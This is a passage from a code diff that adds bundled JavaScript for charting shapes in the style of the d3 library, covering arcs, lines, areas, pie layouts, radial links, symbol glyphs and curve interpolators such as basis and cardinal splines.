y0 + t * y10]; +} + +// Compute perpendicular offset line of length rc. +// http://mathworld.wolfram.com/Circle-LineIntersection.html +function cornerTangents(x0, y0, x1, y1, r1, rc, cw) { + var x01 = x0 - x1, + y01 = y0 - y1, + lo = (cw ? rc : -rc) / sqrt$2(x01 * x01 + y01 * y01), + ox = lo * y01, + oy = -lo * x01, + x11 = x0 + ox, + y11 = y0 + oy, + x10 = x1 + ox, + y10 = y1 + oy, + x00 = (x11 + x10) / 2, + y00 = (y11 + y10) / 2, + dx = x10 - x11, + dy = y10 - y11, + d2 = dx * dx + dy * dy, + r = r1 - rc, + D = x11 * y10 - x10 * y11, + d = (dy < 0 ? -1 : 1) * sqrt$2(max$2(0, r * r * d2 - D * D)), + cx0 = (D * dy - dx * d) / d2, + cy0 = (-D * dx - dy * d) / d2, + cx1 = (D * dy + dx * d) / d2, + cy1 = (-D * dx + dy * d) / d2, + dx0 = cx0 - x00, + dy0 = cy0 - y00, + dx1 = cx1 - x00, + dy1 = cy1 - y00; + + // Pick the closer of the two intersection points. + // TODO Is there a faster way to determine which intersection to use? + if (dx0 * dx0 + dy0 * dy0 > dx1 * dx1 + dy1 * dy1) cx0 = cx1, cy0 = cy1; + + return { + cx: cx0, + cy: cy0, + x01: -ox, + y01: -oy, + x11: cx0 * (r1 / r - 1), + y11: cy0 * (r1 / r - 1) + }; +} + +function arc() { + var innerRadius = arcInnerRadius, + outerRadius = arcOuterRadius, + cornerRadius = constant$b(0), + padRadius = null, + startAngle = arcStartAngle, + endAngle = arcEndAngle, + padAngle = arcPadAngle, + context = null; + + function arc() { + var buffer, + r, + r0 = +innerRadius.apply(this, arguments), + r1 = +outerRadius.apply(this, arguments), + a0 = startAngle.apply(this, arguments) - halfPi$3, + a1 = endAngle.apply(this, arguments) - halfPi$3, + da = abs$1(a1 - a0), + cw = a1 > a0; + + if (!context) context = buffer = path(); + + // Ensure that the outer radius is always larger than the inner radius. + if (r1 < r0) r = r1, r1 = r0, r0 = r; + + // Is it a point? + if (!(r1 > epsilon$3)) context.moveTo(0, 0); + + // Or is it a circle or annulus? + else if (da > tau$4 - epsilon$3) { + context.moveTo(r1 * cos$2(a0), r1 * sin$2(a0)); + context.arc(0, 0, r1, a0, a1, !cw); + if (r0 > epsilon$3) { + context.moveTo(r0 * cos$2(a1), r0 * sin$2(a1)); + context.arc(0, 0, r0, a1, a0, cw); + } + } + + // Or is it a circular or annular sector? + else { + var a01 = a0, + a11 = a1, + a00 = a0, + a10 = a1, + da0 = da, + da1 = da, + ap = padAngle.apply(this, arguments) / 2, + rp = (ap > epsilon$3) && (padRadius ? +padRadius.apply(this, arguments) : sqrt$2(r0 * r0 + r1 * r1)), + rc = min$1(abs$1(r1 - r0) / 2, +cornerRadius.apply(this, arguments)), + rc0 = rc, + rc1 = rc, + t0, + t1; + + // Apply padding? Note that since r1 ≥ r0, da1 ≥ da0. + if (rp > epsilon$3) { + var p0 = asin$1(rp / r0 * sin$2(ap)), + p1 = asin$1(rp / r1 * sin$2(ap)); + if ((da0 -= p0 * 2) > epsilon$3) p0 *= (cw ? 1 : -1), a00 += p0, a10 -= p0; + else da0 = 0, a00 = a10 = (a0 + a1) / 2; + if ((da1 -= p1 * 2) > epsilon$3) p1 *= (cw ? 1 : -1), a01 += p1, a11 -= p1; + else da1 = 0, a01 = a11 = (a0 + a1) / 2; + } + + var x01 = r1 * cos$2(a01), + y01 = r1 * sin$2(a01), + x10 = r0 * cos$2(a10), + y10 = r0 * sin$2(a10); + + // Apply rounded corners? + if (rc > epsilon$3) { + var x11 = r1 * cos$2(a11), + y11 = r1 * sin$2(a11), + x00 = r0 * cos$2(a00), + y00 = r0 * sin$2(a00), + oc; + + // Restrict the corner radius according to the sector angle. + if (da < pi$4 && (oc = intersect(x01, y01, x00, y00, x11, y11, x10, y10))) { + var ax = x01 - oc[0], + ay = y01 - oc[1], + bx = x11 - oc[0], + by = y11 - oc[1], + kc = 1 / sin$2(acos$1((ax * bx + ay * by) / (sqrt$2(ax * ax + ay * ay) * sqrt$2(bx * bx + by * by))) / 2), + lc = sqrt$2(oc[0] * oc[0] + oc[1] * oc[1]); + rc0 = min$1(rc, (r0 - lc) / (kc - 1)); + rc1 = min$1(rc, (r1 - lc) / (kc + 1)); + } + } + + // Is the sector collapsed to a line? + if (!(da1 > epsilon$3)) context.moveTo(x01, y01); + + // Does the sector’s outer ring have rounded corners? + else if (rc1 > epsilon$3) { + t0 = cornerTangents(x00, y00, x01, y01, r1, rc1, cw); + t1 = cornerTangents(x11, y11, x10, y10, r1, rc1, cw); + + context.moveTo(t0.cx + t0.x01, t0.cy + t0.y01); + + // Have the corners merged? + if (rc1 < rc) context.arc(t0.cx, t0.cy, rc1, atan2$1(t0.y01, t0.x01), atan2$1(t1.y01, t1.x01), !cw); + + // Otherwise, draw the two corners and the ring. + else { + context.arc(t0.cx, t0.cy, rc1, atan2$1(t0.y01, t0.x01), atan2$1(t0.y11, t0.x11), !cw); + context.arc(0, 0, r1, atan2$1(t0.cy + t0.y11, t0.cx + t0.x11), atan2$1(t1.cy + t1.y11, t1.cx + t1.x11), !cw); + context.arc(t1.cx, t1.cy, rc1, atan2$1(t1.y11, t1.x11), atan2$1(t1.y01, t1.x01), !cw); + } + } + + // Or is the outer ring just a circular arc? + else context.moveTo(x01, y01), context.arc(0, 0, r1, a01, a11, !cw); + + // Is there no inner ring, and it’s a circular sector? + // Or perhaps it’s an annular sector collapsed due to padding? + if (!(r0 > epsilon$3) || !(da0 > epsilon$3)) context.lineTo(x10, y10); + + // Does the sector’s inner ring (or point) have rounded corners? + else if (rc0 > epsilon$3) { + t0 = cornerTangents(x10, y10, x11, y11, r0, -rc0, cw); + t1 = cornerTangents(x01, y01, x00, y00, r0, -rc0, cw); + + context.lineTo(t0.cx + t0.x01, t0.cy + t0.y01); + + // Have the corners merged? + if (rc0 < rc) context.arc(t0.cx, t0.cy, rc0, atan2$1(t0.y01, t0.x01), atan2$1(t1.y01, t1.x01), !cw); + + // Otherwise, draw the two corners and the ring. + else { + context.arc(t0.cx, t0.cy, rc0, atan2$1(t0.y01, t0.x01), atan2$1(t0.y11, t0.x11), !cw); + context.arc(0, 0, r0, atan2$1(t0.cy + t0.y11, t0.cx + t0.x11), atan2$1(t1.cy + t1.y11, t1.cx + t1.x11), cw); + context.arc(t1.cx, t1.cy, rc0, atan2$1(t1.y11, t1.x11), atan2$1(t1.y01, t1.x01), !cw); + } + } + + // Or is the inner ring just a circular arc? + else context.arc(0, 0, r0, a10, a00, cw); + } + + context.closePath(); + + if (buffer) return context = null, buffer + "" || null; + } + + arc.centroid = function() { + var r = (+innerRadius.apply(this, arguments) + +outerRadius.apply(this, arguments)) / 2, + a = (+startAngle.apply(this, arguments) + +endAngle.apply(this, arguments)) / 2 - pi$4 / 2; + return [cos$2(a) * r, sin$2(a) * r]; + }; + + arc.innerRadius = function(_) { + return arguments.length ? (innerRadius = typeof _ === "function" ? _ : constant$b(+_), arc) : innerRadius; + }; + + arc.outerRadius = function(_) { + return arguments.length ? (outerRadius = typeof _ === "function" ? _ : constant$b(+_), arc) : outerRadius; + }; + + arc.cornerRadius = function(_) { + return arguments.length ? (cornerRadius = typeof _ === "function" ? _ : constant$b(+_), arc) : cornerRadius; + }; + + arc.padRadius = function(_) { + return arguments.length ? (padRadius = _ == null ? null : typeof _ === "function" ? _ : constant$b(+_), arc) : padRadius; + }; + + arc.startAngle = function(_) { + return arguments.length ? (startAngle = typeof _ === "function" ? _ : constant$b(+_), arc) : startAngle; + }; + + arc.endAngle = function(_) { + return arguments.length ? (endAngle = typeof _ === "function" ? _ : constant$b(+_), arc) : endAngle; + }; + + arc.padAngle = function(_) { + return arguments.length ? (padAngle = typeof _ === "function" ? _ : constant$b(+_), arc) : padAngle; + }; + + arc.context = function(_) { + return arguments.length ? ((context = _ == null ? null : _), arc) : context; + }; + + return arc; +} + +function Linear(context) { + this._context = context; +} + +Linear.prototype = { + areaStart: function() { + this._line = 0; + }, + areaEnd: function() { + this._line = NaN; + }, + lineStart: function() { + this._point = 0; + }, + lineEnd: function() { + if (this._line || (this._line !== 0 && this._point === 1)) this._context.closePath(); + this._line = 1 - this._line; + }, + point: function(x, y) { + x = +x, y = +y; + switch (this._point) { + case 0: this._point = 1; this._line ? this._context.lineTo(x, y) : this._context.moveTo(x, y); break; + case 1: this._point = 2; // proceed + default: this._context.lineTo(x, y); break; + } + } +}; + +function curveLinear(context) { + return new Linear(context); +} + +function x$3(p) { + return p[0]; +} + +function y$3(p) { + return p[1]; +} + +function line() { + var x = x$3, + y = y$3, + defined = constant$b(true), + context = null, + curve = curveLinear, + output = null; + + function line(data) { + var i, + n = data.length, + d, + defined0 = false, + buffer; + + if (context == null) output = curve(buffer = path()); + + for (i = 0; i <= n; ++i) { + if (!(i < n && defined(d = data[i], i, data)) === defined0) { + if (defined0 = !defined0) output.lineStart(); + else output.lineEnd(); + } + if (defined0) output.point(+x(d, i, data), +y(d, i, data)); + } + + if (buffer) return output = null, buffer + "" || null; + } + + line.x = function(_) { + return arguments.length ? (x = typeof _ === "function" ? _ : constant$b(+_), line) : x; + }; + + line.y = function(_) { + return arguments.length ? (y = typeof _ === "function" ? _ : constant$b(+_), line) : y; + }; + + line.defined = function(_) { + return arguments.length ? (defined = typeof _ === "function" ? _ : constant$b(!!_), line) : defined; + }; + + line.curve = function(_) { + return arguments.length ? (curve = _, context != null && (output = curve(context)), line) : curve; + }; + + line.context = function(_) { + return arguments.length ? (_ == null ? context = output = null : output = curve(context = _), line) : context; + }; + + return line; +} + +function area$3() { + var x0 = x$3, + x1 = null, + y0 = constant$b(0), + y1 = y$3, + defined = constant$b(true), + context = null, + curve = curveLinear, + output = null; + + function area(data) { + var i, + j, + k, + n = data.length, + d, + defined0 = false, + buffer, + x0z = new Array(n), + y0z = new Array(n); + + if (context == null) output = curve(buffer = path()); + + for (i = 0; i <= n; ++i) { + if (!(i < n && defined(d = data[i], i, data)) === defined0) { + if (defined0 = !defined0) { + j = i; + output.areaStart(); + output.lineStart(); + } else { + output.lineEnd(); + output.lineStart(); + for (k = i - 1; k >= j; --k) { + output.point(x0z[k], y0z[k]); + } + output.lineEnd(); + output.areaEnd(); + } + } + if (defined0) { + x0z[i] = +x0(d, i, data), y0z[i] = +y0(d, i, data); + output.point(x1 ? +x1(d, i, data) : x0z[i], y1 ? +y1(d, i, data) : y0z[i]); + } + } + + if (buffer) return output = null, buffer + "" || null; + } + + function arealine() { + return line().defined(defined).curve(curve).context(context); + } + + area.x = function(_) { + return arguments.length ? (x0 = typeof _ === "function" ? _ : constant$b(+_), x1 = null, area) : x0; + }; + + area.x0 = function(_) { + return arguments.length ? (x0 = typeof _ === "function" ? _ : constant$b(+_), area) : x0; + }; + + area.x1 = function(_) { + return arguments.length ? (x1 = _ == null ? null : typeof _ === "function" ? _ : constant$b(+_), area) : x1; + }; + + area.y = function(_) { + return arguments.length ? (y0 = typeof _ === "function" ? _ : constant$b(+_), y1 = null, area) : y0; + }; + + area.y0 = function(_) { + return arguments.length ? (y0 = typeof _ === "function" ? _ : constant$b(+_), area) : y0; + }; + + area.y1 = function(_) { + return arguments.length ? (y1 = _ == null ? null : typeof _ === "function" ? _ : constant$b(+_), area) : y1; + }; + + area.lineX0 = + area.lineY0 = function() { + return arealine().x(x0).y(y0); + }; + + area.lineY1 = function() { + return arealine().x(x0).y(y1); + }; + + area.lineX1 = function() { + return arealine().x(x1).y(y0); + }; + + area.defined = function(_) { + return arguments.length ? (defined = typeof _ === "function" ? _ : constant$b(!!_), area) : defined; + }; + + area.curve = function(_) { + return arguments.length ? (curve = _, context != null && (output = curve(context)), area) : curve; + }; + + area.context = function(_) { + return arguments.length ? (_ == null ? context = output = null : output = curve(context = _), area) : context; + }; + + return area; +} + +function descending$1(a, b) { + return b < a ? -1 : b > a ? 1 : b >= a ? 0 : NaN; +} + +function identity$8(d) { + return d; +} + +function pie() { + var value = identity$8, + sortValues = descending$1, + sort = null, + startAngle = constant$b(0), + endAngle = constant$b(tau$4), + padAngle = constant$b(0); + + function pie(data) { + var i, + n = data.length, + j, + k, + sum = 0, + index = new Array(n), + arcs = new Array(n), + a0 = +startAngle.apply(this, arguments), + da = Math.min(tau$4, Math.max(-tau$4, endAngle.apply(this, arguments) - a0)), + a1, + p = Math.min(Math.abs(da) / n, padAngle.apply(this, arguments)), + pa = p * (da < 0 ? -1 : 1), + v; + + for (i = 0; i < n; ++i) { + if ((v = arcs[index[i] = i] = +value(data[i], i, data)) > 0) { + sum += v; + } + } + + // Optionally sort the arcs by previously-computed values or by data. + if (sortValues != null) index.sort(function(i, j) { return sortValues(arcs[i], arcs[j]); }); + else if (sort != null) index.sort(function(i, j) { return sort(data[i], data[j]); }); + + // Compute the arcs! They are stored in the original data's order. + for (i = 0, k = sum ? (da - n * pa) / sum : 0; i < n; ++i, a0 = a1) { + j = index[i], v = arcs[j], a1 = a0 + (v > 0 ? v * k : 0) + pa, arcs[j] = { + data: data[j], + index: i, + value: v, + startAngle: a0, + endAngle: a1, + padAngle: p + }; + } + + return arcs; + } + + pie.value = function(_) { + return arguments.length ? (value = typeof _ === "function" ? _ : constant$b(+_), pie) : value; + }; + + pie.sortValues = function(_) { + return arguments.length ? (sortValues = _, sort = null, pie) : sortValues; + }; + + pie.sort = function(_) { + return arguments.length ? (sort = _, sortValues = null, pie) : sort; + }; + + pie.startAngle = function(_) { + return arguments.length ? (startAngle = typeof _ === "function" ? _ : constant$b(+_), pie) : startAngle; + }; + + pie.endAngle = function(_) { + return arguments.length ? (endAngle = typeof _ === "function" ? _ : constant$b(+_), pie) : endAngle; + }; + + pie.padAngle = function(_) { + return arguments.length ? (padAngle = typeof _ === "function" ? _ : constant$b(+_), pie) : padAngle; + }; + + return pie; +} + +var curveRadialLinear = curveRadial(curveLinear); + +function Radial(curve) { + this._curve = curve; +} + +Radial.prototype = { + areaStart: function() { + this._curve.areaStart(); + }, + areaEnd: function() { + this._curve.areaEnd(); + }, + lineStart: function() { + this._curve.lineStart(); + }, + lineEnd: function() { + this._curve.lineEnd(); + }, + point: function(a, r) { + this._curve.point(r * Math.sin(a), r * -Math.cos(a)); + } +}; + +function curveRadial(curve) { + + function radial(context) { + return new Radial(curve(context)); + } + + radial._curve = curve; + + return radial; +} + +function lineRadial(l) { + var c = l.curve; + + l.angle = l.x, delete l.x; + l.radius = l.y, delete l.y; + + l.curve = function(_) { + return arguments.length ? c(curveRadial(_)) : c()._curve; + }; + + return l; +} + +function lineRadial$1() { + return lineRadial(line().curve(curveRadialLinear)); +} + +function areaRadial() { + var a = area$3().curve(curveRadialLinear), + c = a.curve, + x0 = a.lineX0, + x1 = a.lineX1, + y0 = a.lineY0, + y1 = a.lineY1; + + a.angle = a.x, delete a.x; + a.startAngle = a.x0, delete a.x0; + a.endAngle = a.x1, delete a.x1; + a.radius = a.y, delete a.y; + a.innerRadius = a.y0, delete a.y0; + a.outerRadius = a.y1, delete a.y1; + a.lineStartAngle = function() { return lineRadial(x0()); }, delete a.lineX0; + a.lineEndAngle = function() { return lineRadial(x1()); }, delete a.lineX1; + a.lineInnerRadius = function() { return lineRadial(y0()); }, delete a.lineY0; + a.lineOuterRadius = function() { return lineRadial(y1()); }, delete a.lineY1; + + a.curve = function(_) { + return arguments.length ? c(curveRadial(_)) : c()._curve; + }; + + return a; +} + +function pointRadial(x, y) { + return [(y = +y) * Math.cos(x -= Math.PI / 2), y * Math.sin(x)]; +} + +var slice$6 = Array.prototype.slice; + +function linkSource(d) { + return d.source; +} + +function linkTarget(d) { + return d.target; +} + +function link$2(curve) { + var source = linkSource, + target = linkTarget, + x = x$3, + y = y$3, + context = null; + + function link() { + var buffer, argv = slice$6.call(arguments), s = source.apply(this, argv), t = target.apply(this, argv); + if (!context) context = buffer = path(); + curve(context, +x.apply(this, (argv[0] = s, argv)), +y.apply(this, argv), +x.apply(this, (argv[0] = t, argv)), +y.apply(this, argv)); + if (buffer) return context = null, buffer + "" || null; + } + + link.source = function(_) { + return arguments.length ? (source = _, link) : source; + }; + + link.target = function(_) { + return arguments.length ? (target = _, link) : target; + }; + + link.x = function(_) { + return arguments.length ? (x = typeof _ === "function" ? _ : constant$b(+_), link) : x; + }; + + link.y = function(_) { + return arguments.length ? (y = typeof _ === "function" ? _ : constant$b(+_), link) : y; + }; + + link.context = function(_) { + return arguments.length ? ((context = _ == null ? null : _), link) : context; + }; + + return link; +} + +function curveHorizontal(context, x0, y0, x1, y1) { + context.moveTo(x0, y0); + context.bezierCurveTo(x0 = (x0 + x1) / 2, y0, x0, y1, x1, y1); +} + +function curveVertical(context, x0, y0, x1, y1) { + context.moveTo(x0, y0); + context.bezierCurveTo(x0, y0 = (y0 + y1) / 2, x1, y0, x1, y1); +} + +function curveRadial$1(context, x0, y0, x1, y1) { + var p0 = pointRadial(x0, y0), + p1 = pointRadial(x0, y0 = (y0 + y1) / 2), + p2 = pointRadial(x1, y0), + p3 = pointRadial(x1, y1); + context.moveTo(p0[0], p0[1]); + context.bezierCurveTo(p1[0], p1[1], p2[0], p2[1], p3[0], p3[1]); +} + +function linkHorizontal() { + return link$2(curveHorizontal); +} + +function linkVertical() { + return link$2(curveVertical); +} + +function linkRadial() { + var l = link$2(curveRadial$1); + l.angle = l.x, delete l.x; + l.radius = l.y, delete l.y; + return l; +} + +var circle$2 = { + draw: function(context, size) { + var r = Math.sqrt(size / pi$4); + context.moveTo(r, 0); + context.arc(0, 0, r, 0, tau$4); + } +}; + +var cross$2 = { + draw: function(context, size) { + var r = Math.sqrt(size / 5) / 2; + context.moveTo(-3 * r, -r); + context.lineTo(-r, -r); + context.lineTo(-r, -3 * r); + context.lineTo(r, -3 * r); + context.lineTo(r, -r); + context.lineTo(3 * r, -r); + context.lineTo(3 * r, r); + context.lineTo(r, r); + context.lineTo(r, 3 * r); + context.lineTo(-r, 3 * r); + context.lineTo(-r, r); + context.lineTo(-3 * r, r); + context.closePath(); + } +}; + +var tan30 = Math.sqrt(1 / 3), + tan30_2 = tan30 * 2; + +var diamond = { + draw: function(context, size) { + var y = Math.sqrt(size / tan30_2), + x = y * tan30; + context.moveTo(0, -y); + context.lineTo(x, 0); + context.lineTo(0, y); + context.lineTo(-x, 0); + context.closePath(); + } +}; + +var ka = 0.89081309152928522810, + kr = Math.sin(pi$4 / 10) / Math.sin(7 * pi$4 / 10), + kx = Math.sin(tau$4 / 10) * kr, + ky = -Math.cos(tau$4 / 10) * kr; + +var star = { + draw: function(context, size) { + var r = Math.sqrt(size * ka), + x = kx * r, + y = ky * r; + context.moveTo(0, -r); + context.lineTo(x, y); + for (var i = 1; i < 5; ++i) { + var a = tau$4 * i / 5, + c = Math.cos(a), + s = Math.sin(a); + context.lineTo(s * r, -c * r); + context.lineTo(c * x - s * y, s * x + c * y); + } + context.closePath(); + } +}; + +var square = { + draw: function(context, size) { + var w = Math.sqrt(size), + x = -w / 2; + context.rect(x, x, w, w); + } +}; + +var sqrt3 = Math.sqrt(3); + +var triangle = { + draw: function(context, size) { + var y = -Math.sqrt(size / (sqrt3 * 3)); + context.moveTo(0, y * 2); + context.lineTo(-sqrt3 * y, -y); + context.lineTo(sqrt3 * y, -y); + context.closePath(); + } +}; + +var c$2 = -0.5, + s = Math.sqrt(3) / 2, + k = 1 / Math.sqrt(12), + a = (k / 2 + 1) * 3; + +var wye = { + draw: function(context, size) { + var r = Math.sqrt(size / a), + x0 = r / 2, + y0 = r * k, + x1 = x0, + y1 = r * k + r, + x2 = -x1, + y2 = y1; + context.moveTo(x0, y0); + context.lineTo(x1, y1); + context.lineTo(x2, y2); + context.lineTo(c$2 * x0 - s * y0, s * x0 + c$2 * y0); + context.lineTo(c$2 * x1 - s * y1, s * x1 + c$2 * y1); + context.lineTo(c$2 * x2 - s * y2, s * x2 + c$2 * y2); + context.lineTo(c$2 * x0 + s * y0, c$2 * y0 - s * x0); + context.lineTo(c$2 * x1 + s * y1, c$2 * y1 - s * x1); + context.lineTo(c$2 * x2 + s * y2, c$2 * y2 - s * x2); + context.closePath(); + } +}; + +var symbols = [ + circle$2, + cross$2, + diamond, + square, + star, + triangle, + wye +]; + +function symbol() { + var type = constant$b(circle$2), + size = constant$b(64), + context = null; + + function symbol() { + var buffer; + if (!context) context = buffer = path(); + type.apply(this, arguments).draw(context, +size.apply(this, arguments)); + if (buffer) return context = null, buffer + "" || null; + } + + symbol.type = function(_) { + return arguments.length ? (type = typeof _ === "function" ? _ : constant$b(_), symbol) : type; + }; + + symbol.size = function(_) { + return arguments.length ? (size = typeof _ === "function" ? _ : constant$b(+_), symbol) : size; + }; + + symbol.context = function(_) { + return arguments.length ? (context = _ == null ? null : _, symbol) : context; + }; + + return symbol; +} + +function noop$3() {} + +function point$2(that, x, y) { + that._context.bezierCurveTo( + (2 * that._x0 + that._x1) / 3, + (2 * that._y0 + that._y1) / 3, + (that._x0 + 2 * that._x1) / 3, + (that._y0 + 2 * that._y1) / 3, + (that._x0 + 4 * that._x1 + x) / 6, + (that._y0 + 4 * that._y1 + y) / 6 + ); +} + +function Basis(context) { + this._context = context; +} + +Basis.prototype = { + areaStart: function() { + this._line = 0; + }, + areaEnd: function() { + this._line = NaN; + }, + lineStart: function() { + this._x0 = this._x1 = + this._y0 = this._y1 = NaN; + this._point = 0; + }, + lineEnd: function() { + switch (this._point) { + case 3: point$2(this, this._x1, this._y1); // proceed + case 2: this._context.lineTo(this._x1, this._y1); break; + } + if (this._line || (this._line !== 0 && this._point === 1)) this._context.closePath(); + this._line = 1 - this._line; + }, + point: function(x, y) { + x = +x, y = +y; + switch (this._point) { + case 0: this._point = 1; this._line ? this._context.lineTo(x, y) : this._context.moveTo(x, y); break; + case 1: this._point = 2; break; + case 2: this._point = 3; this._context.lineTo((5 * this._x0 + this._x1) / 6, (5 * this._y0 + this._y1) / 6); // proceed + default: point$2(this, x, y); break; + } + this._x0 = this._x1, this._x1 = x; + this._y0 = this._y1, this._y1 = y; + } +}; + +function basis$2(context) { + return new Basis(context); +} + +function BasisClosed(context) { + this._context = context; +} + +BasisClosed.prototype = { + areaStart: noop$3, + areaEnd: noop$3, + lineStart: function() { + this._x0 = this._x1 = this._x2 = this._x3 = this._x4 = + this._y0 = this._y1 = this._y2 = this._y3 = this._y4 = NaN; + this._point = 0; + }, + lineEnd: function() { + switch (this._point) { + case 1: { + this._context.moveTo(this._x2, this._y2); + this._context.closePath(); + break; + } + case 2: { + this._context.moveTo((this._x2 + 2 * this._x3) / 3, (this._y2 + 2 * this._y3) / 3); + this._context.lineTo((this._x3 + 2 * this._x2) / 3, (this._y3 + 2 * this._y2) / 3); + this._context.closePath(); + break; + } + case 3: { + this.point(this._x2, this._y2); + this.point(this._x3, this._y3); + this.point(this._x4, this._y4); + break; + } + } + }, + point: function(x, y) { + x = +x, y = +y; + switch (this._point) { + case 0: this._point = 1; this._x2 = x, this._y2 = y; break; + case 1: this._point = 2; this._x3 = x, this._y3 = y; break; + case 2: this._point = 3; this._x4 = x, this._y4 = y; this._context.moveTo((this._x0 + 4 * this._x1 + x) / 6, (this._y0 + 4 * this._y1 + y) / 6); break; + default: point$2(this, x, y); break; + } + this._x0 = this._x1, this._x1 = x; + this._y0 = this._y1, this._y1 = y; + } +}; + +function basisClosed$1(context) { + return new BasisClosed(context); +} + +function BasisOpen(context) { + this._context = context; +} + +BasisOpen.prototype = { + areaStart: function() { + this._line = 0; + }, + areaEnd: function() { + this._line = NaN; + }, + lineStart: function() { + this._x0 = this._x1 = + this._y0 = this._y1 = NaN; + this._point = 0; + }, + lineEnd: function() { + if (this._line || (this._line !== 0 && this._point === 3)) this._context.closePath(); + this._line = 1 - this._line; + }, + point: function(x, y) { + x = +x, y = +y; + switch (this._point) { + case 0: this._point = 1; break; + case 1: this._point = 2; break; + case 2: this._point = 3; var x0 = (this._x0 + 4 * this._x1 + x) / 6, y0 = (this._y0 + 4 * this._y1 + y) / 6; this._line ? this._context.lineTo(x0, y0) : this._context.moveTo(x0, y0); break; + case 3: this._point = 4; // proceed + default: point$2(this, x, y); break; + } + this._x0 = this._x1, this._x1 = x; + this._y0 = this._y1, this._y1 = y; + } +}; + +function basisOpen(context) { + return new BasisOpen(context); +} + +function Bundle(context, beta) { + this._basis = new Basis(context); + this._beta = beta; +} + +Bundle.prototype = { + lineStart: function() { + this._x = []; + this._y = []; + this._basis.lineStart(); + }, + lineEnd: function() { + var x = this._x, + y = this._y, + j = x.length - 1; + + if (j > 0) { + var x0 = x[0], + y0 = y[0], + dx = x[j] - x0, + dy = y[j] - y0, + i = -1, + t; + + while (++i <= j) { + t = i / j; + this._basis.point( + this._beta * x[i] + (1 - this._beta) * (x0 + t * dx), + this._beta * y[i] + (1 - this._beta) * (y0 + t * dy) + ); + } + } + + this._x = this._y = null; + this._basis.lineEnd(); + }, + point: function(x, y) { + this._x.push(+x); + this._y.push(+y); + } +}; + +var bundle = (function custom(beta) { + + function bundle(context) { + return beta === 1 ? new Basis(context) : new Bundle(context, beta); + } + + bundle.beta = function(beta) { + return custom(+beta); + }; + + return bundle; +})(0.85); + +function point$3(that, x, y) { + that._context.bezierCurveTo( + that._x1 + that._k * (that._x2 - that._x0), + that._y1 + that._k * (that._y2 - that._y0), + that._x2 + that._k * (that._x1 - x), + that._y2 + that._k * (that._y1 - y), + that._x2, + that._y2 + ); +} + +function Cardinal(context, tension) { + this._context = context; + this._k = (1 - tension) / 6; +} + +Cardinal.prototype = { + areaStart: function() { + this._line = 0; + }, + areaEnd: function() { + this._line = NaN; + }, + lineStart: function() { + this._x0 = this._x1 = this._x2 = + this._y0 = this._y1 = this._y2 = NaN; + this._point = 0; + }, + lineEnd: function() { + switch (this._point) { + case 2: this._context.lineTo(this._x2, this._y2); break; + case 3: point$3(this, this._x1, this._y1); break; + } + if (this._line || (this._line !== 0 && this._point === 1)) this._context.closePath(); + this._line = 1 - this._line; + }, + point: function(x, y) { + x = +x, y = +y; + switch (this._point) { + case 0: this._point = 1; this._line ? this._context.lineTo(x, y) : this._context.moveTo(x, y); break; + case 1: this._point = 2; this._x1 = x, this._y1 = y; break; + case 2: this._point = 3; // proceed + default: point$3(this, x, y); break; + } + this._x0 = this._x1, this._x1 = this._x2, this._x2 = x; + this._y0 = this._y1, this._y1 = this._y2, this._y2 = y; + } +}; + +var cardinal = (function custom(tension) { + + function cardinal(context) { + return new Cardinal(context, tension); + } + + cardinal.tension = function(tension) { + return custom(+tension); + }; + + return cardinal; +})(0); + +function CardinalClosed(context, tension) { + this._context = context; + this._k = (1 - tension) / 6; +} + +CardinalClosed.prototype = { + areaStart: noop$3, + areaEnd: noop$3, + lineStart: function() { + this._x0 = this._x1 = this._x2 = this._x3 = this._x4 = this._x5 = + this._y0 = this._y1 = this._y2 = this._y3 = this._y4 = this._y5 = NaN; + this._point = 0; + }, + lineEnd: function() { + switch (this._point) { + case 1: { + this._context.moveTo(this._x3, this._y3); + this._context.closePath(); + break; + } + case 2: { + this._context.lineTo(this._x3, this._y3); + this._context.closePath(); + break; + } + case 3: { + this.point(this._x3, this._y3); + this.point(this._x4, this._y4); + this.point(this._x5, this._y5); + break; + } + } + }, + point: function(x, y) { + x = +x, y = +y; + switch (this._point) { + case 0: this._point = 1; this._x3 = x, this._y3 = y; break; + case 1: this._point = 2; this._context.moveTo(this._x4 = x, this._y4 = y); break; + case 2: this._point = 3; this._x5 = x, this._y5 = y; break; + default: point$3(this, x, y); break; + } + this._x0 = this._x1, this._x1 = this._x2, this._x2 = x; + this._y0 = this._y1, this._y1 = this._y2, this._y2 = y; + } +}; + +var cardinalClosed = (function custom(tension) { + + function cardinal(context) { + return new CardinalClosed(context, tension); + } + + cardinal.tension = function(tension) { + return custom(+tension); + }; + + return cardinal; +})(0); + +function CardinalOpen(context, tension) { + this._context = context; + this._k = (1 - tension) / 6; +} + +CardinalOpen.prototype = { + areaStart: function() { + this._line = 0; + }, + areaEnd: function() { + this._line = NaN; + }, + lineStart: function() { + this._x0 = this._x1 = this._x2 = + this._y0 = this._y1 = this._y2 = NaN; + this._point = 0; + }, + lineEnd: function() { + if (this._line || (this._line !== 0 && this._point === 3)) this._context.closePath(); + this._line = 1 - this._line; + }, + point: function(x, y) { + x = +x, y = +y; + switch (this._point) { + case 0: this._point = 1; break; + case 1: this._point = 2; break; + case 2: this._point = 3; this._line ? this._context.lineTo(this._x2, this._y2) : this._context.moveTo(this._x2, this._y2); break; + case 3: this._point = 4; // proceed + default: point$3(this, x, y); break; + } + this._x0 = this._x1, this._x1 = this._x2, this._x2 = x; + this._y0 = this._y1, this._y1 = this._y2, this._y2 = y; + } +}; + +var cardinalOpen = (function custom(tension) { + + function cardinal(context) { + return new CardinalOpen(context, tension); + } + + cardinal.tension = function(tension) { + return custom(+tension); + }; + + return cardinal; +})(0); + +function point$4(that, x, y) { + var x1 = that._x1, + y1 = that._y1, + x2 = that._x2, + y2 = that._y2; + + if (that._l01_a > epsilon$3) { + var a = 2 * that._l01_2a + 3 * that._l01_a * that._l12_a + that._l12_2a, + n = 3 * that._l01_a * (that._l01_a + that._l12_a); + x1 = (x1 * a - that._x0 * that._l12_2a + that._x2 * that._l01_2a) / n; + y1 = (y1 * a - that._y0 * that._l12_2a + that._y2 * that._l01_2a) / n; + } + + if (that._l23_a > epsilon$3) { + var b = 2 * that._l23_2a + 3 * that._l23_a * that._l12_a + that._l12_2a, + m = 3 * that._l23_a * (that._l23_a + that._l12_a); + x2 = (x2 * b + that._x1 * that._l23_2a - x * that._l12_2a) / m; + y2 = (y2 * b + that._y1 * that._l23_2a - y * that._l12_2a) / m; + } + + that._context.bezierCurveTo(x1, y1, x2, y2, that._x2, that._y2); +} + +function CatmullRom(context, alpha) { + this._context = context; + this._alpha = 